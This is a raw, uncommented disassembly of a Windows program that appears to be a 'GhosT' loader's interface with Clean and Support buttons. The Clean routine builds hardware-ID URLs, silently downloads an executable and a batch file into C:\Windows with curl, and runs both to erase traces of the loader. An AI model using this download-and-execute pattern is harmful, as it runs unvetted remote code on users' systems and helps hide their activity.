mov rax, qword [rbx + 0x1d18]
movsxd r8, dword [rax + 0x108]
mov rax, qword [rax + 0x110]
mov r8d, dword [rax + r8*4 - 4]
xor edx, edx
lea rcx, str.clean
call fcn.1400190b0
cmp dword [rbx + 0x1d6c], eax
jne 0x14005f257
mov dword [rbx + 0x1d70], eax
cmp dword [rbx + 0x1da8], eax
jne 0x14005f266
mov byte [rbx + 0x1dac], 1
mov dword [rsp + 0x20], 8
lea r8, [rsp + 0x2d0]
mov edx, eax
lea rcx, str.clean
call fcn.140020c30
mov rcx, qword [0x14013fd80]
call fcn.1400272d0
mov rcx, qword [0x14013fd60]
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x118]
subss xmm0, dword [rax + 0x50]
addss xmm0, dword [rax + 0x9c]
movss xmm8, dword [0x1400ae8d8]
addss xmm0, xmm8
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm1, dword [rax + 0x50]
subss xmm1, dword [rax + 0x9c]
addss xmm1, xmm0
movss dword [rax + 0x118], xmm1
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm1
movss dword [rax + 0x130], xmm0
mov rax, qword [rcx + 0x1d18]
movss xmm2, dword [rax + 0x11c]
subss xmm2, dword [rax + 0x54]
addss xmm2, dword [rax + 0xa0]
movss xmm11, dword [0x1400ae890]
addss xmm2, xmm11
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm1, dword [rax + 0x54]
subss xmm1, dword [rax + 0xa0]
addss xmm1, xmm2
movss dword [rax + 0x11c], xmm1
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm1
movss dword [rax + 0x134], xmm0
movaps xmm0, xmmword [0x1400aec40]
movups xmmword [rsp + 0x2f0], xmm0
lea rdx, str.CLEANER
lea rcx, [rsp + 0x2f0]
call fcn.140050280
call fcn.140027370
mov rcx, qword [0x14013fd88]
call fcn.1400272d0
mov rcx, qword [0x14013fd60]
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x118]
subss xmm0, dword [rax + 0x50]
addss xmm0, dword [rax + 0x9c]
addss xmm0, xmm8
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm1, dword [rax + 0x50]
subss xmm1, dword [rax + 0x9c]
addss xmm1, xmm0
movss dword [rax + 0x118], xmm1
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm1
movss dword [rax + 0x130], xmm0
mov rax, qword [rcx + 0x1d18]
movss xmm2, dword [rax + 0x11c]
subss xmm2, dword [rax + 0x54]
addss xmm2, dword [rax + 0xa0]
addss xmm2, xmm12
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm1, dword [rax + 0x54]
subss xmm1, dword [rax + 0xa0]
addss xmm1, xmm2
movss dword [rax + 0x11c], xmm1
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm1
movss dword [rax + 0x134], xmm0
movaps xmm0, xmmword [0x1400aeb10]
movups xmmword [rsp + 0x2f0], xmm0
lea rdx, str.Clean_all_traces_of_the_loader_from_your_pc
lea rcx, [rsp + 0x2f0]
call fcn.140050280
call fcn.140027370
mov rbx, qword [0x14013fd60]
mov rax, qword [rbx + 0x1d18]
movss xmm0, dword [rax + 0x118]
subss xmm0, dword [rax + 0x50]
addss xmm0, dword [rax + 0x9c]
addss xmm0, xmm8
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movss xmm1, dword [rax + 0x50]
subss xmm1, dword [rax + 0x9c]
addss xmm1, xmm0
movss dword [rax + 0x118], xmm1
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm1
movss dword [rax + 0x130], xmm0
mov rax, qword [rbx + 0x1d18]
movss xmm2, dword [rax + 0x11c]
subss xmm2, dword [rax + 0x54]
addss xmm2, dword [rax + 0xa0]
addss xmm2, xmm13
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movss xmm1, dword [rax + 0x54]
subss xmm1, dword [rax + 0xa0]
addss xmm1, xmm2
movss dword [rax + 0x11c], xmm1
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm1
movss dword [rax + 0x134], xmm0
lea rcx, [rbx + 0x1e80]
movss xmm0, dword [rbx + 0x1678]
mov dword [rsp + 0x2d0], 0xb
movss dword [rsp + 0x2d4], xmm0
lea rdx, [rsp + 0x2d0]
call fcn.140039460
mov dword [rbx + 0x1678], 0x41200000
mov dword [rsp + 0x2d0], 0x43340000
mov dword [rsp + 0x2d4], 0x41f00000
lea rdx, [rsp + 0x2d0]
lea rcx, str.Clean
call fcn.140050c40
test al, al
je 0x14005fd4e
mov r9d, 0x24
lea r8, str.Tutorial
lea rdx, str.Do_you_want_to_watch_a_tutorial_before_cleaning_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 6
jne 0x14005f5ee
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, str.https:__www.youtube.com_watch_v5eUSOFLM4cM
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rcx, qword [0x140140068]
movabs rdi, 0x7fffffffffffffff
mov rax, rdi
sub rax, rcx
cmp rax, 0x19
jb 0x140060493
jmp 0x14005f624
lea r14, [0x140000000]
lea r12, [0x140140498]
jmp 0x14005f153
lea rbx, [0x140140058]
mov r9, rbx
cmp qword [0x140140070], 0xf
cmova r9, qword [0x140140058]
mov qword [rsp + 0x30], 0x19
lea rax, str.downloadcleaner.php_hwid
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x2f0]
call fcn.140068a70
nop
mov rdx, r12
cmp qword [0x1401404b0], 0xf
cmova rdx, qword [0x140140498]
mov r8, qword [0x1401404a8]
lea rcx, [rsp + 0x2f0]
call fcn.140065a10
movups xmm9, xmmword [rax]
movups xmmword [rsp + 0x3a0], xmm9
movups xmm8, xmmword [rax + 0x10]
movups xmmword [rsp + 0x3b0], xmm8
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x308]
cmp rdx, 0xf
jbe 0x14005f6fd
inc rdx
mov rcx, qword [rsp + 0x2f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f6f8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005f6f8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007ba50
movdqa xmm0, xmmword [0x1400ae9f0]
movdqu xmmword [rsp + 0x300], xmm0
mov byte [rsp + 0x2f0], 0
mov rcx, qword [0x140140068]
mov rax, rdi
sub rax, rcx
cmp rax, 0x1c
jb 0x140060499
cmp qword [0x140140070], 0xf
cmova rbx, qword [0x140140058]
mov qword [rsp + 0x30], 0x1c
lea rax, str.downloadcleanerexe.php_hwid
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r9, rbx
lea rcx, [rsp + 0x3e0]
call fcn.140068a70
nop
cmp qword [0x1401404b0], 0xf
cmova r12, qword [0x140140498]
mov r8, qword [0x1401404a8]
mov rdx, r12
lea rcx, [rsp + 0x3e0]
call fcn.140065a10
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x380], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x390], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x3f8]
cmp rdx, 0xf
jbe 0x14005f7fb
inc rdx
mov rcx, qword [rsp + 0x3e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f7f6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005f7f6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007ba50
movdqa xmm0, xmmword [0x1400ae9f0]
movdqu xmmword [rsp + 0x3f0], xmm0
mov byte [rsp + 0x3e0], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x2f0], xmm0
mov qword [rsp + 0x300], r15
mov qword [rsp + 0x308], r15
lea r12, [rsp + 0x3a0]
movq r15, xmm9
movdqa xmm0, xmm8
psrldq xmm0, 8
movq r13, xmm0
cmp r13, 0xf
cmova r12, r15
movq rsi, xmm8
cmp rsi, rdi
ja 0x14006049f
cmp rsi, 0xf
ja 0x14005f88d
mov qword [rsp + 0x300], rsi
mov qword [rsp + 0x308], 0xf
movups xmm0, xmmword [r12]
movups xmmword [rsp + 0x2f0], xmm0
jmp 0x14005f92c
mov rbx, rsi
or rbx, 0xf
cmp rbx, rdi
jbe 0x14005f8c8
mov rbx, rdi
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14007bd64
mov rcx, rax
test rax, rax
je 0x14005f8f0
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14005f905
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14005f8f7
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400604a4
jmp 0x14005f8aa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14005f903
call fcn.14007bd64
jmp 0x14005f905
xor eax, eax
mov qword [rsp + 0x2f0], rax
mov qword [rsp + 0x300], rsi
mov qword [rsp + 0x308], rbx
lea r8, [rsi + 1]
mov rdx, r12
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rsp + 0x2f0]
lea rcx, [rsp + 0x358]
call fcn.14005a080
nop
lea rdx, [rsp + 0x380]
lea rcx, [rsp + 0x330]
call fcn.140065c40
mov rdx, rax
lea rcx, [rsp + 0x310]
call fcn.14005a080
nop
mov rax, rdi
mov rcx, qword [rsp + 0x320]
sub rax, rcx
cmp rax, 5
jb 0x1400604aa
lea rax, [rsp + 0x310]
cmp qword [rsp + 0x328], 0xf
cmova rax, qword [rsp + 0x310]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 5
lea r9, str.curl
lea rcx, [rsp + 0x2d0]
call fcn.140068a70
nop
mov r8d, 0x28
lea rdx, str.__o_C:WindowsGhosTCleaner.exe___silent
lea rcx, [rsp + 0x2d0]
call fcn.140065a10
xorps xmm0, xmm0
movups xmmword [rsp + 0x2f0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x300], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x2f0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x300], xmm1
xor ebx, ebx
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
lea rcx, [rsp + 0x2f0]
cmp qword [rsp + 0x308], 0xf
cmova rcx, qword [rsp + 0x2f0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x308]
cmp rdx, 0xf
jbe 0x14005fa80
inc rdx
mov rcx, qword [rsp + 0x2f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005fa7b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005fa7b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007ba50
movdqa xmm0, xmmword [0x1400ae9f0]
movdqu xmmword [rsp + 0x300], xmm0
mov byte [rsp + 0x2f0], bl
mov rdx, qword [rsp + 0x2e8]
cmp rdx, 0xf
jbe 0x14005fade
inc rdx
mov rcx, qword [rsp + 0x2d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005fad9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005fad9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007ba50
lea rcx, str.C:WindowsGhosTCleaner.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8, [rsp + 0x358]
lea rdx, str.curl
lea rcx, [rsp + 0x2d0]
call fcn.140066d80
nop
lea r8, str.__o_C:Windowscleaner.bat___silent
mov rdx, rax
lea rcx, [rsp + 0x2f0]
call fcn.140066b30
mov rcx, rax
call fcn.140065a00
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0x2f0]
call fcn.140065a90
nop
lea rcx, [rsp + 0x2d0]
call fcn.140065a90
lea rcx, str.C:Windowscleaner.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov rdx, qword [rsp + 0x328]
cmp rdx, 0xf
jbe 0x14005fbaa
inc rdx
mov rcx, qword [rsp + 0x310]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005fba5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005fba5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007ba50
mov qword [rsp + 0x320], rbx
mov qword [rsp + 0x328], 0xf
mov byte [rsp + 0x310], 0
mov rdx, qword [rsp + 0x370]
cmp rdx, 0xf
jbe 0x14005fc0c
inc rdx
mov rcx, qword [rsp + 0x358]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005fc07
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005fc07
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007ba50
movdqa xmm0, xmmword [0x1400ae9f0]
movdqu xmmword [rsp + 0x368], xmm0
mov byte [rsp + 0x358], 0
jmp 0x14005fc73
mov rdx, qword [rsp + 0x398]
cmp rdx, 0xf
jbe 0x14005fcba
inc rdx
mov rcx, qword [rsp + 0x380]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005fcb4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005fcb4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007ba50
nop
cmp r13, 0xf
jbe 0x14005fcf4
lea rdx, [r13 + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x14005fcec
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005fcec
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r15
call fcn.14007ba50
movss xmm8, dword [0x1400ae8d8]
mov rcx, qword [0x14013fd60]
movsxd rax, dword [rcx + 0x1e80]
lea rdx, [rax + rax*2]
mov r8, qword [rcx + 0x1e88]
movsxd rax, dword [r8 + rdx*4 - 0xc]
lea r10, [rax + rax*2]
mov r9d, dword [r14 + r10*4 + 0x81258]
cmp dword [r14 + r10*4 + 0x81250], 8
jne 0x14005fd79
mov eax, dword [r14 + r10*4 + 0x81254]
cmp eax, 1
jne 0x14005fd5a
mov eax, dword [r8 + rdx*4 - 8]
mov dword [r9 + rcx + 0x1638], eax
jmp 0x14005fd79
movabs rdi, 0x7fffffffffffffff
jmp 0x14005fcfd
cmp eax, 2
jne 0x14005fd79
mov eax, dword [r8 + rdx*4 - 8]
mov dword [r9 + rcx + 0x1638], eax
mov eax, dword [r8 + rdx*4 - 4]
mov dword [r9 + rcx + 0x163c], eax
dec dword [rcx + 0x1e80]
call fcn.140020e50
mov rbx, qword [0x14013fd60]
mov rax, qword [rbx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
addss xmm0, xmm10
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm2, dword [0x1400ae91c]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
maxss xmm1, dword [rax + 0x118]
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
mov dword [rsp + 0x2d0], 0x443a4000
mov dword [rsp + 0x2d4], 0x431b0000
mov rax, qword [rbx + 0x1d18]
mov byte [rax + 0xd1], 1
mov r8, qword [rbx + 0x1d18]
movsxd rax, dword [r8 + 0x108]
mov r8, qword [r8 + 0x110]
mov r8d, dword [r8 + rax*4 - 4]
xor edx, edx
lea rcx, str.support
call fcn.1400190b0
cmp dword [rbx + 0x1d6c], eax
jne 0x14005fe5d
mov dword [rbx + 0x1d70], eax
cmp dword [rbx + 0x1da8], eax
jne 0x14005fe6c
mov byte [rbx + 0x1dac], 1
mov dword [rsp + 0x20], 8
lea r8, [rsp + 0x2d0]
mov edx, eax
lea rcx, str.support
call fcn.140020c30
mov rcx, qword [0x14013fd80]
call fcn.1400272d0
mov rcx, qword [0x14013fd60]
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x118]
subss xmm0, dword [rax + 0x50]
addss xmm0, dword [rax + 0x9c]
addss xmm0, xmm8
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm1, dword [rax + 0x50]
subss xmm1, dword [rax + 0x9c]
addss xmm1, xmm0
movss dword [rax + 0x118], xmm1
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm1
movss dword [rax + 0x130], xmm0
mov rax, qword [rcx + 0x1d18]
movss xmm2, dword [rax + 0x11c]
subss xmm2, dword [rax + 0x54]
addss xmm2, dword [rax + 0xa0]
addss xmm2, xmm11
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm1, dword [rax + 0x54]
subss xmm1, dword [rax + 0xa0]
addss xmm1, xmm2
movss dword [rax + 0x11c], xmm1
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm1
movss dword [rax + 0x134], xmm0
movaps xmm1, xmmword [0x1400aec40]
movups xmmword [rsp + 0x2f0], xmm1
lea rdx, str.Support
lea rcx, [rsp + 0x2f0]
call fcn.140050280
call fcn.140027370
mov rcx, qword [0x14013fd88]
call fcn.1400272d0
mov rcx, qword [0x14013fd60]
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x118]
subss xmm0, dword [rax + 0x50]
addss xmm0, dword [rax + 0x9c]
addss xmm0, xmm8
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm1, dword [rax + 0x50]
subss xmm1, dword [rax + 0x9c]
addss xmm1, xmm0
movss dword [rax + 0x118], xmm1
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm1
movss dword [rax + 0x130], xmm0
mov rax, qword [rcx + 0x1d18]
movss xmm2, dword [rax + 0x11c]
subss xmm2, dword [rax + 0x54]
addss xmm2, dword [rax + 0xa0]
addss xmm2, xmm12
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm1, dword [rax + 0x54]
subss xmm1, dword [rax + 0xa0]
addss xmm1, xmm2
movss dword [rax + 0x11c], xmm1
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm1
movss dword [rax + 0x134], xmm0
movaps xmm1, xmmword [0x1400aeb10]
movups xmmword [rsp + 0x2f0], xmm1
lea rdx, str.If_you_need_any_help_or_if_you_have_any_question_please_click_button_bellow
lea rcx, [rsp + 0x2f0]
call fcn.140050280
call fcn.140027370
mov rbx, qword [0x14013fd60]
mov rax, qword [rbx + 0x1d18]
movss xmm0, dword [rax + 0x118]
subss xmm0, dword [rax + 0x50]
addss xmm0, dword [rax + 0x9c]
addss xmm0, xmm8
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movss xmm1, dword [rax + 0x50]
subss xmm1, dword [rax + 0x9c]
addss xmm1, xmm0
movss dword [rax + 0x118], xmm1
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm1
movss dword [rax + 0x130], xmm0
mov rax, qword [rbx + 0x1d18]
movss xmm2, dword [rax + 0x11c]
subss xmm2, dword [rax + 0x54]
addss xmm2, dword [rax + 0xa0]
addss xmm2, xmm13
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movss xmm1, dword [rax + 0x54]
subss xmm1, dword [rax + 0xa0]
addss xmm1, xmm2
movss dword [rax + 0x11c], xmm1
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm1
movss dword [rax + 0x134], xmm0
mov dword [rsp + 0x2d0], 0xb
movss xmm0, dword [rbx + 0x1678]
movss dword [rsp + 0x2d4], xmm0
lea rcx, [rbx + 0x1e80]
lea rdx, [rsp + 0x2d0]
call fcn.140039460
mov dword [rbx + 0x1678], 0x41200000
mov dword [rsp + 0x2d0], 0x43340000
mov dword [rsp + 0x2d4], 0x41f00000
lea rdx, [rsp + 0x2d0]
lea rcx, str.Contact
call fcn.140050c40
test al, al
je 0x1400601a4
lea rcx, str.start_https:__discord.gg_ghostesport
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [0x14013fd60]
movsxd rax, dword [rcx + 0x1e80]
lea rdx, [rax + rax*2]
mov r8, qword [rcx + 0x1e88]
movsxd rax, dword [r8 + rdx*4 - 0xc]
lea r10, [rax + rax*2]
mov r9d, dword [r14 + r10*4 + 0x81258]
cmp dword [r14 + r10*4 + 0x81250], 8
jne 0x140060214
mov eax, dword [r14 + r10*4 + 0x81254]
cmp eax, 1
jne 0x1400601f5
mov eax, dword [r8 + rdx*4 - 8]
mov dword [r9 + rcx + 0x1638], eax
jmp 0x140060214
cmp eax, 2
jne 0x140060214
mov eax, dword [r8 + rdx*4 - 8]
mov dword [r9 + rcx + 0x1638], eax
mov eax, dword [r8 + rdx*4 - 4]
mov dword [r9 + rcx + 0x163c], eax
dec dword [rcx + 0x1e80]
call fcn.140020e50
mov r8, qword [0x14013fd60]
mov rax, qword [r8 + 0x1d18]
mov byte [rax + 0xd1], 1
movaps xmm0, xmmword [0x1400aebc0]
movups xmmword [rsp + 0x2f0], xmm0
mov rax, qword [r8 + 0x1d18]
movaps xmm1, xmm6
addss xmm1, dword [rax + 0x58]
movss dword [rsp + 0x2d0], xmm1
movaps xmm0, xmm7
subss xmm0, dword [0x1400ae948]
movss dword [rsp + 0x2d4], xmm0
addss xmm6, xmm12
movss dword [rsp + 0x310], xmm6
subss xmm7, dword [0x1400ae94c]
movss dword [rsp + 0x314], xmm7
lea rcx, [rsp + 0x2f0]
call fcn.140019580
mov r9d, eax
mov rcx, qword [r8 + 0x1d18]
movss xmm0, dword [0x1400ae7b8]
movss dword [rsp + 0x20], xmm0
lea r8, [rsp + 0x2d0]
lea rdx, [rsp + 0x310]
mov rcx, qword [rcx + 0x2f8]
call fcn.140044c20
jmp 0x1400602db
movabs rdi, 0x7fffffffffffffff
mov r8, qword [0x14013fd60]
mov rax, qword [r8 + 0x1d18]
movss xmm2, dword [rax + 0x118]
movss xmm3, dword [rax + 0x11c]
mov byte [rax + 0xd1], 1
movaps xmm0, xmmword [0x1400aebc0]
movups xmmword [rsp + 0x2f0], xmm0
mov rax, qword [r8 + 0x1d18]
movaps xmm1, xmm2
addss xmm1, dword [rax + 0x58]
movss dword [rsp + 0x2d0], xmm1
subss xmm3, dword [0x1400ae938]
movss dword [rsp + 0x2d4], xmm3
addss xmm2, xmm12
movss dword [rsp + 0x310], xmm2
movss dword [rsp + 0x314], xmm3
lea rcx, [rsp + 0x2f0]
call fcn.140019580
mov r9d, eax
mov rcx, qword [r8 + 0x1d18]
movss xmm0, dword [0x1400ae7b8]
movss dword [rsp + 0x20], xmm0
lea r8, [rsp + 0x2d0]
lea rdx, [rsp + 0x310]
mov rcx, qword [rcx + 0x2f8]
call fcn.140044c20
call fcn.140026bc0
lea rcx, [rsp + 0x2d0]
call fcn.140058a50
movabs rcx, 0x7fffffffff67697f
mov rax, qword [rsp + 0x2d0]
cmp rax, rcx
jge 0x1400603c9
add rax, 0x989680
mov qword [rsp + 0x2d0], rax
jmp 0x1400603d1
mov qword [rsp + 0x2d0], rdi
lea rcx, [rsp + 0x2d0]
call fcn.14006bb50
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.14007b600
lea r11, [rsp + 0x500]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
ret
mov rcx, rax
call fcn.140069520
mov qword [rsp + 0x2d0], rax
lea r8, [rsp + 0x2d0]
lea rcx, [rsp + 0x330]
call fcn.140074af0
nop
mov r8, rax
lea rcx, [rsp + 0x1a8]
call fcn.140074bb0
lea rdx, [0x1400b7ee0]
lea rcx, [rsp + 0x1a8]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
call fcn.140058060
nop
call fcn.140058060
nop
call fcn.140058060
call fcn.140057fc0
nop
call fcn.140058060
int3